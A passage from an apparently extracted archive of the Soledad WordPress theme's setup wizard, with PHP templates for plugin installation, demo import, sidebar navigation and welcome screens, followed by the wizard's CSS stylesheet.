	<?php if ( $plugins_list && ( ! isset( $args['show_plugins'] ) || 'compatible' !== $args['show_plugins'] ) ) : ?>
		<script>
			var penci_plugin_data = <?php echo wp_json_encode( $plugins_list ); ?>
		</script>
	<?php endif; ?>
</div>

<?php if ( $installations->is_setup() ) : ?>
	<div class="soledad-wizard-footer">
		<?php $installations->get_prev_button( 'child-theme' ); ?>
		<div>
			<?php 
			if ( $active_list < 5 ) : 
			?>
			<a class="penci-install-inline-btn penci-install-style-underline soledad-wizard-all-plugins" href="#">
				<?php esc_html_e( 'Install & activate all', 'soledad' ); ?>
			</a>
			<?php endif; ?>
			<?php $installations->get_next_button( 'demo', '', count( $installations->get_required_plugins_to_activate() ) > 0 ); ?>
		</div>
	</div>
<?php endif; ?>
PK     /w\bzK       installations/templates/demo.phpnu [        <?php
$demo_data_list     = apply_filters( 'penci_soledad_demo_packages', array() );
$plugins_required   = apply_filters( 'penci_soledad_plugins_required', array() );
$data_import_option = get_option( 'penci_import_demo_data' );
$installed_demo     = isset( $data_import_option['installed_demo'] ) ? $data_import_option['installed_demo'] : 'empty';
$class              = 'empty' !== $installed_demo ? 'has-imported' : '';
?>

<div class="soledad-wizard-content-inner soledad-wizard-dummy<?php echo esc_attr( $wrapper_classes ); ?>">

    <h1 class="page-title-wz"><?php _e( 'Pick the demo that you want to import', 'soledad' ); ?> </h1>

    <div class="penci-demo-search-form">
        <form>
            <input id="penci-demo-search" name="penci-demo-search" type="text"
                    placeholder="<?php _e( 'Type to search the demo', 'soledad' ); ?>">
        </form>
    </div>

    <div class="demos-container-wrap">
        <div class="demos-container <?php echo $class; ?>">
			<?php
			foreach ( $demo_data_list as $demo => $data ) :
				$item_class = array();
				$item_class[] = 'demo-selector';
				if ( isset( $data['plugins'] ) && is_array( $data['plugins'] ) ) {
					foreach ( $data['plugins'] as $plugin ) {
						if ( ! is_plugin_active( 'elementor/elementor.php' ) && 'elementor' == $plugin ) {
							$item_class[] = 'req-elementor';
						}

						if ( ! is_plugin_active( 'woocommerce/woocommerce.php' ) && 'woocommerce' == $plugin ) {
							$item_class[] = 'req-woocommerce';
						}

						if ( ! is_plugin_active( 'penci-finance/penci-finance.php' ) && 'penci-finance' == $plugin ) {
							$item_class[] = 'req-penci-finance';
						}

						if ( ! is_plugin_active( 'penci-sport/penci-sport.php' ) && 'penci-sport' == $plugin ) {
							$item_class[] = 'req-penci-sport';
						}
					}
				}
				$install_title = __( 'Install', 'soledad' );
				$install_class = 'button button-primary penci-winstall-demo';
				if ( $installed_demo == $demo ) {
					$item_class[]  = 'demo-selector-installed';
					$install_title = __( 'Uninstall', 'soledad' );
					$install_class = 'button button-primary penci-wuninstall-demo';
				}
				?>
                <form action="<?php echo esc_url( add_query_arg( array( 'step' => 2 ) ) ); ?>" method="post"
                      class="<?php echo esc_attr( implode( ' ', array_filter( $item_class ) ) ); ?>">
					<?php wp_nonce_field( 'penci_soledad_import_demo' ); ?>
                    <input type="hidden" name="demo" value="<?php echo esc_attr( $demo ); ?>">


                    <div class="demo-image">
                        <img src="<?php echo esc_url( $data['preview'] ); ?>">

                        <div class="penci-demo-hover">
                            <div class="penci-div-inner">
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-style" checked="checked"
                                           type="checkbox">
                                    <span>Import Demo Style</span>
                                </div>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-pages" checked="checked"
                                           type="checkbox">
                                    <span>Import Pages</span>
                                </div>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="include-posts" checked="checked"
                                           type="checkbox">
                                    <span>Import Posts</span>
                                </div>
								<?php if ( isset( $data['plugins'] ) && is_array( $data['plugins'] ) && in_array( 'woocommerce', $data['plugins'] ) ) : ?>
                                    <div class="penci-demo-include">
                                        <input class="input include-content" name="include-products"
                                               checked="checked"
                                               type="checkbox">
                                        <span>Import Products</span>
                                        <input type="hidden" name="woocommerce_demo" value="1">
                                    </div>
								<?php endif; ?>
                                <div class="penci-demo-include">
                                    <input class="input include-content" name="generate-image" checked="checked"
                                           type="checkbox">
                                    <span>Generate Images</span>
                                </div>
								<?php $id_demo = isset( $data['id_demo'] ) ? $data['id_demo'] : ''; ?>

                            </div>
                        </div>
                    </div>

                    <div class="demo-selector-tools">
                        <div class="demo-install-progress"></div>
                        <div class="demo-install-actions">

                            <input data-installing-text="<?php echo __( 'Installing ...', 'soledad' );?>" data-uninstall-text="<?php echo __( 'Uninstall', 'soledad' );?>" type="submit" class="<?php echo esc_attr( $install_class ); ?>"
                                   value="<?php echo $install_title; ?>">

                            <h2 class="demo-title"><?php echo $data['name']; ?></h2>
                        
                        </div>
                    </div>
                </form>

			<?php endforeach; ?>

        </div>
    </div>
	<div class="penci-soledad-demo-import-log"></div>
</div>



<div class="penci-install-note-wrapper">
    <p class="penci-install-note">
		<?php
		echo esc_html(
			'You can import any of the prebuilt websites that will include a home page, a few products, posts, projects, images and menus. You will be able to switch to any website at any time or just skip this step for now.',
			'soledad'
		);
		?>
    </p>
</div>

<div class="soledad-wizard-footer">
	<?php $this->get_prev_button( 'plugins' ); ?>
    <div>
		<?php $this->get_next_button( 'done' ); ?>
		<?php $this->get_skip_button( 'done' ); ?>
    </div>
</div>PK     /w\<DB$    #  installations/templates/sidebar.phpnu [        <div class="soledad-wizard-done-nav">
	<div class="soledad-wizard-done-nav-img">
		<span class="soledad-wizard-done-nav-i"></span>
	</div>

	<h3>
		<?php esc_html_e( 'Congratulations!', 'soledad' ); ?>
	</h3>

	<p>
		<?php esc_html_e( 'You have successfully installed our theme.', 'soledad' ); ?>
	</p>
</div>

<ul>
	<?php
	$index        = 0;
	$current_page = 'welcome';

	if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
		$current_page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
	}

	$current_page_index = array_search( $current_page, array_keys( $this->available_pages ), true );

	?>
	<?php foreach ( $this->available_pages as $slug => $text ) : ?>
		<?php
		$classes = '';
		if ( $index > $current_page_index ) {
			$classes .= ' penci-install-disabled';
		}

		if ( $this->is_active_page( $slug ) ) {
			$classes .= ' penci-install-active';
		}

		?>
		<li class="<?php echo esc_attr( $classes ); ?>" data-slug="<?php echo esc_attr( $slug ); ?>">
			<a href="<?php echo esc_url( $this->get_page_url( $slug ) ); ?>">
				<?php echo esc_html( $text ); ?>
			</a>
		</li>
		<?php $index++; ?>
	<?php endforeach; ?>
</ul>

<?php if ( isset( $_GET['step'] ) && 'welcome' === $_GET['step'] || ! isset( $_GET['step'] ) ) : // phpcs:ignore ?>
	
<?php else : ?>
	<a class="soledad-wizard-help penci-install-i-alert-info" href="https://soledad.pencidesign.net/soledad-document/" target="_blank">
		<?php esc_html_e( 'Documentation', 'soledad' ); ?>
	</a>
<?php endif; ?>
PK     /w\_    #  installations/templates/welcome.phpnu [        <div class="soledad-wizard-content-inner soledad-wizard-welcome">

	<div class="soledad-wizard-logo">
		<img class="soledad-wizard-logo" src="<?php echo esc_url( PENCI_SOLEDAD_URL . '/images/penci-logo-themeforest.png' ); ?>" alt="logo">
		</div>

	<h3>
		<?php esc_html_e( 'Thank you for choosing our theme!', 'soledad' ); ?>
	</h3>

	<p>
		<?php
		esc_html_e(
			'The theme has been installed successfully, and you\'re ready to start building your awesome website. With full control over layout and design, you can create a site that truly reflects your vision.',
			'soledad'
		);
		?>
	</p>

	<p>
		<?php
		esc_html_e(
			'Take a look at the next steps to get started, and enjoy the process of launching your new project. If you have any questions, don’t hesitate to reach out—we’re always happy to help.',
			'soledad'
		);
		?>
	</p>

	<p class="soledad-wizard-signature">
		<span>
			<?php esc_html_e( 'Wishing you all the best with your new website!', 'soledad' ); ?>
		</span>
	</p>

	<div class="soledad-wizard-buttons">
		<a class="penci-install-inline-btn penci-install-style-underline" href="<?php echo esc_url( admin_url( 'admin.php?page=soledad_dashboard_welcome&skip_setup' ) ); ?>">
			<?php esc_html_e( 'Skip setup', 'soledad' ); ?>
		</a>

		<a class="penci-install-btn penci-install-color-primary penci-install-next" href="<?php echo esc_url( $this->get_page_url( 'activation' ) ); ?>">
			<?php esc_html_e( 'Let\'s start', 'soledad' ); ?>
		</a>
	</div>

</div>
PK     /w\U  U    installations/assets/style.cssnu [        .soledad-setup-wizard-page {
	overflow: hidden;
}
.page-title-wz {
	font-size: 18px;
	text-align: center;
	margin: 0 0 30px;
}
.soledad-setup-wizard-page #adminmenumain,
.soledad-setup-wizard-page #wpfooter,
.soledad-setup-wizard-page #wpadminbar {
	display: none;
}
.soledad-setup-wizard-page #wpadminbar,
.soledad-setup-wizard-page #wpcontent,
.soledad-setup-wizard-page #wpfooter {
	margin: 0;
}
.soledad-setup-wizard-page #wpbody-content {
	display: flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	padding: 0;
	min-height: 100vh;
	max-width: 100%;
}
.soledad-setup-wizard-page
	#wpbody-content
	:is(.soledad-setup-wizard-wrap, .soledad-footer) {
	margin-inline: auto;
	max-width: 1000px;
	width: 100%;
	box-shadow: 1px 0px 10px rgba(51, 44, 44, 0.26);
}
.soledad-setup-wizard-page #wpbody-content .soledad-footer {
	margin-top: 20px;
}
.soledad-setup-wizard-page .notice {
	display: none !important;
}
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	.soledad-wizard-nav,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	#wpadminbar,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	#adminmenu,
.soledad-setup-wizard-page:has(.soledad-plugin-wrapper.soledad-loading)
	.soledad-footer.soledad-theme-style,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	.soledad-wizard-nav,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	#wpadminbar,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	#adminmenu,
.soledad-setup-wizard-page:has(.soledad-import-items.soledad-loading)
	.soledad-footer.soledad-theme-style {
	pointer-events: none;
}
.soledad-setup-wizard {
	--penci-brd-radius: 0;
	--penci-btn-primay-color: #0785d3;
	--penci-btn-primary-color-hover: #0064a1;
	--wp-admin-theme-color-darker-10: #00578d;
	--wp-admin-theme-color-darker-20: #003353;
	--wp-admin-theme-color--rgb: 124, 179, 43;
	--penci-grey-color: #f1f1f1;
	display: flex;
	min-height: 580px;
	border-radius: var(--penci-brd-radius);
	background-color: #fbfbfb;
}
.soledad-setup-wizard img {
	max-width: 180px;
	height: auto;
	vertical-align: middle;
}
.soledad-setup-wizard a {
	outline: none;
	box-shadow: none;
	text-decoration: none;
	transition: all 0.25s ease;
}
.soledad-setup-wizard input[type="text"]:disabled {
	pointer-events: none;
}
.soledad-setup-wizard .soledad-box {
	background-color: transparent;
	box-shadow: none;
}
.soledad-setup-wizard .soledad-box-header {
	margin-bottom: 25px;
	min-height: auto;
	border: none;
}
.soledad-setup-wizard .soledad-box-header h3 {
	margin: 0;
}
.soledad-setup-wizard :is(.soledad-box-header, .soledad-box-content) {
	padding: 0;
}
.soledad-setup-wizard .soledad-msg > p {
	margin-block: 0 30px;
}
.soledad-setup-wizard .soledad-notice {
	font-size: 12px;
}
.soledad-setup-wizard .soledad-note {
	background-color: #f1f1f1;
	font-size: 12px;
}
.soledad-setup-wizard ::-webkit-scrollbar,
.soledad-setup-wizard ::-webkit-scrollbar-track,
.soledad-setup-wizard ::-webkit-scrollbar-thumb {
	border-radius: 3px;
}
.soledad-setup-wizard ::-webkit-scrollbar {
	width: 5px;
}
.soledad-setup-wizard ::-webkit-scrollbar-track {
	background-color: rgba(0, 0, 0, 0.05);
}
.soledad-setup-wizard ::-webkit-scrollbar-thumb {
	background-color: rgba(0, 0, 0, 0.12);
}
.soledad-wizard-nav {
	position: relative;
	display: flex;
	flex-direction: column;
	justify-content: space-between;
	max-width: 280px;
	width: 100%;
	background: var(--wp-admin-theme-color);
	border-start-start-radius: var(--penci-brd-radius);
	border-end-start-radius: var(--penci-brd-radius);
	flex-shrink: 0;
}
.soledad-wizard-nav ul {
	margin: 0;
	padding: 60px 45px;
}
.soledad-wizard-nav ul li {
	margin-bottom: 20px;
	transition: all 0.25s ease;
	user-select: none;
}
.soledad-wizard-nav ul li a {
	position: relative;
	display: flex;
	align-items: center;
	color: rgba(255, 255, 255, 0.8);
}
.soledad-wizard-nav ul li a:before {
	content: "";
	display: block;
	margin-inline: 1px 13px;
	width: 20px;
	height: 20px;
	border-radius: 50%;
	background-color: #fff;
}
.soledad-wizard-nav ul li a:after {
	content: "\f15e";
	position: absolute;
	top: 0;
	inset-inline-start: 1px;
	width: 20px;
	color: var(--wp-admin-theme-color);
	text-align: center;
	font-size: 16px;
	font-family: "dashicons";
	line-height: 20px;
}
.soledad-wizard-nav ul li.penci-install-active {
	opacity: 1;
}
.soledad-wizard-nav ul li.penci-install-active a {
	color: #fff;
}
.soledad-wizard-nav ul li.penci-install-active a:after {
	top: 6px;
	inset-inline-start: 7px;
	width: 8px;
	height: 8px;
	border-radius: 50%;
	background-color: var(--wp-admin-theme-color);
	font-size: 0;
}
.soledad-wizard-nav ul li:is(.penci-install-active, .penci-install-disabled) {
	pointer-events: none;
}
.soledad-wizard-nav ul li.penci-install-disabled {
	opacity: 0.5;
}
.soledad-wizard-nav ul li.penci-install-disabled a:before {
	margin-top: 1px;
	margin-inline: 2px 14px;
	margin-bottom: 2px;
	width: 17px;
	height: 17px;
}
.soledad-wizard-nav ul li.penci-install-disabled a:after {
	display: none;
}
.soledad-wizard-nav ul li:hover:not(.penci-install-disabled) a {
	color: #fff;
}
.soledad-wizard-help {
	display: flex;
	align-items: center;
	padding: 0 40px 40px 40px;
	color: #fff;
	font-size: 14px;
}
.soledad-wizard-help:before {
	margin-inline-end: 10px;
}
.soledad-wizard-help:hover,
.soledad-wizard-help:focus {
	color: rgba(255, 255, 255, 0.8);
}
.soledad-wizard-content {
	display: flex;
	flex-grow: 1;
	flex-direction: column;
	justify-content: space-between;
	padding: 60px 60px 40px 60px;
}
.soledad-wizard-content h3 {
	font-size: 26px;
	line-height: 1;
}
.soledad-wizard-content p {
	color: #5b5b5b;
	font-size: 14px;
}
.soledad-wizard-content .soledad-btn {
	align-items: center;
	padding: 0 20px;
	height: 40px;
	line-height: 40px;
}
.soledad-wizard-content .soledad-btn.soledad-shown {
	display: inline-flex;
}
.soledad-wizard-content .penci-install-disabled .soledad-color-primary,
.soledad-wizard-content .soledad-color-primary.penci-install-disabled {
	color: #b9b9b9 !important;
	pointer-events: none;
	user-select: none;
}
.soledad-wizard-content
	.penci-install-disabled
	.soledad-btn.soledad-color-primary,
.soledad-wizard-content .soledad-color-primary.penci-install-disabled {
	background-color: var(--penci-grey-color) !important;
}
.soledad-wizard-content .penci-install-disabled .soledad-inline-btn {
	opacity: 0.5;
}
.soledad-wizard-content .soledad-next:after {
	margin-inline: 5px -5px;
	font-weight: 400;
	content: "\f345";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.rtl .soledad-wizard-content .soledad-next:after {
	content: "\e908";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-wizard-content .soledad-prev:before {
	margin-inline: -5px 5px;
	font-weight: 400;
	content: "\f341";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.rtl .soledad-wizard-content .soledad-prev:before {
	content: "\e909";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-wizard-logo {
	margin-bottom: 25px;
	min-height: 36px;
	max-width: 245px;
	width: 245px;
}
.soledad-wizard-footer {
	display: flex;
	align-items: center;
	justify-content: space-between;
	margin-top: 30px;
}
.soledad-wizard-footer div {
	min-width: 330px;
	text-align: right;
}
.soledad-wizard-footer.penci-install-disabled {
	pointer-events: none;
}
:is(.soledad-wizard-footer, .soledad-wizard-buttons)
	:is(.soledad-btn, .soledad-inline-btn):not(:first-child) {
	margin-inline-start: 20px;
}
:is(.soledad-wizard-footer, .soledad-wizard-buttons) .soledad-inline-btn {
	margin-block: 10px;
}
.soledad-wizard-welcome p {
	max-width: 550px;
}
.soledad-wizard-content .soledad-wizard-signature {
	margin-top: 30px;
	line-height: 60px;
}
.soledad-wizard-content .soledad-wizard-signature img {
	margin-inline-start: 10px;
	max-width: 95px;
}
.soledad-wizard-buttons {
	margin-top: 40px;
}
.soledad-wizard-content .soledad-license .soledad-box-header {
	flex-wrap: wrap;
}
.soledad-wizard-content .soledad-license .soledad-box-header h3 {
	margin-bottom: 20px;
}
.soledad-wizard-content .soledad-license .soledad-box-header p {
	display: block;
	width: 100%;
}
.soledad-wizard-content .soledad-license-img {
	display: none;
}
.soledad-wizard-content .soledad-license-content {
	flex-basis: 100%;
	max-width: 100%;
}
.soledad-wizard-content .soledad-license-btn:before {
	inset-inline-start: 14px;
}
.soledad-wizard-content .soledad-license-btn input {
	padding-inline-start: 35px;
}
.soledad-wizard-child-theme.soledad-installed .soledad-child-image {
	opacity: 1;
	transform: none;
}
.soledad-wizard-child-theme.soledad-installed .soledad-child-image:before {
	opacity: 1;
}
.soledad-wizard-child-theme.soledad-installed
	+ .soledad-wizard-footer
	.soledad-skip {
	display: none;
}
.soledad-wizard-child-theme:not(.soledad-installed)
	+ .soledad-wizard-footer
	.soledad-next {
	display: none;
}
.soledad-theme-images {
	display: flex;
	align-items: center;
	margin-bottom: 20px;
	min-height: 115px;
}
.soledad-theme-images > div {
	padding: 3px;
	border: 1px solid rgba(0, 0, 0, 0.05);
	border-radius: var(--penci-brd-radius);
	background-color: #fff;
}
.soledad-theme-images > div img {
	border-radius: inherit;
}
.soledad-main-image {
	position: relative;
	z-index: 5;
}
.soledad-child-image {
	position: relative;
	margin-inline-start: 10px;
	opacity: 0;
	transition: all 0.4s ease;
	transform: translateX(-100%);
}
.soledad-child-image:before {
	position: absolute;
	top: -7px;
	inset-inline-end: -7px;
	display: flex;
	align-items: center;
	justify-content: center;
	width: 20px;
	height: 20px;
	border-radius: 50%;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	font-size: 17px;
	opacity: 0;
	transition: all 0.4s ease 0.4s;
	content: "\f147";
	font-weight: 400;
	font-family: "dashicons";
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.soledad-install-child-theme:after {
	display: none !important;
	margin-inline-end: -5px;
	margin-inline-start: 12px;
	content: "";
	display: inline-block;
	width: 14px;
	height: 14px;
	border: 1px solid rgba(255, 255, 255, 0.15);
	border-left-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
}
.soledad-install-child-theme.soledad-loading {
	color: #fff;
	opacity: 0.8;
	pointer-events: none;
}
.soledad-install-child-theme.soledad-loading:after {
	display: inline-block !important;
	animation: penci-menu-rotate 450ms infinite linear;
}
.soledad-wizard-child-theme.soledad-installed .soledad-color-primary {
	background-color: var(--penci-grey-color);
	color: #b9b9b9 !important;
	pointer-events: none;
	user-select: none;
	padding: 10px 20px;
}
.soledad-wizard-builder-select {
	display: flex;
	flex-direction: column;
	gap: 10px;
}
.soledad-wizard-builder-select > :is(div, span) {
	display: flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 100%;
}
.soledad-wizard-builder-select > div {
	flex: 1 1 0%;
	align-items: center;
	flex-direction: row;
	justify-content: flex-start;
	gap: 15px;
	padding: 20px;
	border-radius: var(--penci-brd-radius);
	background-color: #fff;
	cursor: pointer;
	transition: all 0.25s ease;
	border: 2px solid transparent;
}
.soledad-wizard-builder-select > div > * {
	transition: inherit;
}
.soledad-wizard-builder-select > div p {
	margin-bottom: 0;
}
.soledad-wizard-builder-select > div:hover {
	border-color: var(--penci-option-border-color);
}
.soledad-wizard-builder-select > div.penci-install-active {
	border-color: var(--penci-btn-primay-color);
}
.soledad-wizard-builder-select > span {
	display: none;
	font-weight: 500;
}
.soledad-page-builder-img {
	display: flex;
	align-items: center;
	justify-content: center;
	width: 40px;
	height: 40px;
}
.soledad-page-builder-text {
	display: flex;
	flex-direction: column;
	gap: 4px;
}
.soledad-page-builder-title {
	color: #333;
	font-weight: 700;
	font-size: 16px;
}
.soledad-wizard-dummy .soledad-sp-20 {
	--penci-sp: 10px;
}
.soledad-wizard-dummy :is(.soledad-btn, .soledad-bordered-btn) {
	padding: 0 10px;
	height: 30px;
	font-size: 11px;
	line-height: 30px;
}
.soledad-wizard-dummy .soledad-box-header {
	margin-bottom: 20px;
}
.soledad-wizard-dummy .soledad-box-header .soledad-col {
	justify-content: space-between;
}
.soledad-wizard-dummy .soledad-box-header .soledad-import-search {
	margin-inline: 10px 0;
}
.soledad-wizard-dummy :is(.soledad-col-remove-content, .soledad-col-dummy-nav) {
	display: none !important;
}
.soledad-wizard-dummy .soledad-notices-sticky {
	top: 0;
	margin-top: 0;
	padding-top: 0;
	background-color: #f7f7f7;
}
.soledad-wizard-dummy .soledad-box-content {
	overflow-x: hidden;
	overflow-y: scroll;
	padding-inline-end: 10px;
	padding-bottom: 5px !important;
	min-height: 400px;
	max-height: 400px;
}
.soledad-wizard-dummy .soledad-wizard-footer {
	margin-top: 20px;
}
.soledad-wizard-dummy .soledad-box-footer {
	display: none;
}
.soledad-wizard-dummy .soledad-import-item:hover {
	box-shadow: none;
}
.soledad-wizard-dummy .soledad-import-item-title {
	font-size: 13px;
	line-height: 15px;
}
.soledad-wizard-dummy .soledad-import-item-btn:after {
	inset-inline-start: 7px;
}
.soledad-wizard-dummy .soledad-import-item-footer {
	padding: 10px;
}
.soledad-wizard-dummy.imported-base + .soledad-wizard-footer .soledad-skip {
	display: none;
}
.soledad-wizard-dummy.imported-base + .soledad-wizard-footer .soledad-prev {
	visibility: hidden;
	opacity: 0;
}
.soledad-wizard-dummy:not(.imported-base)
	+ .soledad-wizard-footer
	.soledad-next {
	display: none;
}
.soledad-wizard-content-inner.soledad-wizard-done {
	flex-direction: column;
	justify-content: center;
	height: 100%;
}
.soledad-wizard-content-inner.soledad-wizard-done > p {
	margin-top: 0;
}
.soledad-wizard-content-inner.soledad-wizard-done .soledad-wizard-buttons {
	margin-top: 10px;
}
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-dummy,
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-dummy
	+ .soledad-wizard-footer {
	display: none;
}
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-done {
	display: flex;
}
.soledad-setup-wizard.soledad-done .soledad-wizard-done-nav {
	display: block;
}
.soledad-setup-wizard.soledad-done .soledad-wizard-nav > ul,
.soledad-setup-wizard.soledad-done .soledad-wizard-nav .soledad-wizard-help {
	display: none;
}
.soledad-wizard-done-nav {
	display: none;
	margin-top: 50px;
	margin-inline: 15px;
	text-align: center;
}
.soledad-wizard-done-nav h3 {
	color: #fff;
	font-size: 22px;
}
.soledad-wizard-done-nav p {
	margin: 0 auto;
	max-width: 210px;
	color: rgba(255, 255, 255, 0.8);
	font-size: 16px;
}
.soledad-wizard-done-nav-img {
	min-height: 140px;
}
@media (max-width: 1024px) {
	.soledad-wizard-nav {
		max-width: 200px;
	}
	.soledad-wizard-nav ul {
		padding: 45px 25px;
	}
	.soledad-wizard-help {
		padding-inline: 20px;
	}
}
.soledad-wizard-buttons a {
	display: inline-block;
	padding: 10px 25px;
	background: #000;
	color: #fff;
	font-weight: bold;
	transition: 0.3s all ease-in-out;
}
.soledad-wizard-buttons a:hover {
	opacity: 0.8;
}
.soledad-wizard-buttons a.penci-install-color-primary {
	background: var(--wp-admin-theme-color);
}
.penci-install-plugins ul {
	max-height: 300px;
	overflow: auto;
}
.soledad-wizard-content-inner #penci-check-license .penci-activate-err span {
	display: none;
}
.soledad-wizard-content-inner
	#penci-check-license
	.penci-activate-err
	span.penci-err-show {
	display: block;
}
.soledad-wizard-content-inner .penci-activate-err span {
	padding: 10px 20px;
	background: #fbdada;
	color: #cc0909;
	margin: 15px 0 0;
	border-radius: 5px;
}
.soledad-wizard-content-inner #penci-check-license input {
	width: 100%;
	padding: 5px 10px;
	outline: 0;
	border-radius: 5px;
}
.soledad-wizard-content-inner #penci-check-license button {
	margin: 15px 0;
	padding: 10px 30px;
	background: #000;
	border: 0;
	color: #fff;
	border-radius: 5px;
	cursor: pointer;
}
.soledad-wizard-content-inner .penci-activate-extra-notes {
	border-top: 1px solid #ddd;
	margin-top: 30px;
}
ul li.soledad-plugin-wrapper {
	border-bottom: 1px solid #ddd;
	padding-bottom: 10px;
	margin-bottom: 10px;
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
}
ul li.soledad-plugin-wrapper .penci-install-plugin-heading {
	width: 250px;
}
ul li.soledad-plugin-wrapper .penci-install-plugin-version,
ul li.soledad-plugin-wrapper .penci-install-plugin-required {
	width: 70px;
}
.penci-install-plugin-required-text {
	color: rgb(201, 1, 1);
	font-weight: bold;
	font-size: 12px;
}
.soledad-wizard-dummy .demos-container-wrap {
	max-height: 500px;
	overflow: auto;
	margin: 0 -20px;
	padding: 0 20px;
}
.penci-install-note-wrapper {
	margin: 20px 0 0;
}
.soledad-wizard-dummy .demos-container {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	--gap: 15px;
	--col: 3;
	gap: var(--gap);
}
.soledad-wizard-dummy .demos-container .demo-selector {
	-webkit-flex-basis: calc(
		(100% - (var(--gap) * (var(--col) - 1))) / var(--col)
	);
	-ms-flex-preferred-size: calc(
		(100% - (var(--gap) * (var(--col) - 1))) / var(--col)
	);
	flex-basis: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
	position: relative;
	background: #fff;
	box-shadow: 0 1px 6px rgba(55, 55, 55, 0.2);
}
.soledad-wizard-dummy .demo-selector .demo-image {
	position: relative;
}
.soledad-wizard-dummy .demo-selector .demo-image img {
	width: 100%;
	height: auto;
	max-width: unset;
}
.soledad-wizard-dummy .demo-selector .penci-demo-hover {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	opacity: 0;
	visibility: hidden;
	background: rgba(255, 255, 255, 0.9);
	display: flex;
	align-items: center;
	justify-content: center;
	transition: all 0.3s ease;
}
.soledad-wizard-dummy .demo-selector:hover .penci-demo-hover {
	opacity: 1;
	visibility: visible;
}
.soledad-wizard-dummy .demo-install-actions {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column-reverse;
	justify-content: space-between;
	align-items: center;
	padding: 10px 0 0;
}
.soledad-wizard-dummy .demo-install-actions .demo-title {
	font-size: 14px;
	margin: 0 0 10px;
}
.soledad-wizard-dummy .demo-install-actions .button {
	padding: 5px 10px;
	min-height: unset;
	line-height: unset;
	font-size: 12px;
	border-radius: 0;
	width: 100%;
}
.demos-container .demo-selector {
	order: 2;
}
.demos-container .demo-selector-installed {
	order: 1;
}
.demos-container .demo-selector-installed:hover .penci-demo-hover {
	display: none;
}
.demos-container .demo-selector-installed .demo-image:before {
	content: "\f147";
	font-family: "dashicons";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: flex;
	background: rgba(0, 0, 0, 0.7);
	align-items: center;
	justify-content: center;
	font-size: 90px;
	color: #fff;
}
.soledad-plugin-wrapper .penci-install-plugin-name {
	font-weight: bold;
}
.soledad-wizard-content-inner {
	position: relative;
}
@keyframes penci-menu-rotate {
	100% {
		transform: rotate(360deg);
	}
}
.penci-notice {
	position: fixed;
	top: 30px;
	right: 30px;
	background: rgba(0, 0, 0, 0.9);
	width: 100%;
	max-width: 250px;
	color: #fff;
	padding: 10px 15px;
	border-radius: 5px;
	font-size: 13px;
	box-shadow: 3px 3px 8px rgba(55, 55, 55, 0.2);
	text-align: center;
}
.penci-soledad-demo-import-log {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 99;
	background: #fff;
	opacity: 0;
	visibility: hidden;
}
.soledad-wizard-content-inner.importing .demo-selector:not(.importing) {
	opacity: 0.5;
	pointer-events: none;
}
.soledad-wizard-content-inner.importing
	.demo-selector.importing
	.penci-div-inner {
	display: none;
}
.demo-selector.loading .penci-demo-hover {
	opacity: 1;
	visibility: visible;
}
.demo-selector.loading .penci-demo-hover .penci-div-inner {
	display: none;
}
.demo-selector.loading .penci-demo-hover:before {
	transition: opacity 0.2s ease;
	content: "";
	display: inline-block;
	border: 1px solid #000;
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -12px;
	margin-left: -12px;
	width: 24px;
	height: 24px;
	z-index: 9;
	animation: penci-menu-rotate 0.35s infinite linear;
}
.soledad-plugin-wrapper.soledad-loading .soledad-ajax-plugin:before {
	transition: opacity 0.2s ease;
	content: "";
	display: inline-block;
	border: 2px solid #000;
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
	margin-top: -4px;
	width: 12px;
	height: 12px;
	z-index: 9;
	animation: penci-menu-rotate 0.35s infinite linear;
}
.soledad-setup-wizard-wrap .soledad-activation .success-icon {
	text-align: center;
	margin: 0 0 30px;
}
.soledad-setup-wizard-wrap .soledad-activation .success-icon i {
	font-size: 79px;
	line-height: 79px;
	display: inline-block;
	width: 79px;
	height: 79px;
	color: #029902;
}
.soledad-setup-wizard-wrap .soledad-activation .penci-license-detail-desc {
	padding: 30px;
	background: #f1f1f1;
	border-radius: 5px;
}
.soledad-child-image:after {
	content: "Child theme";
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
	right: 0;
	text-align: center;
	padding: 5px;
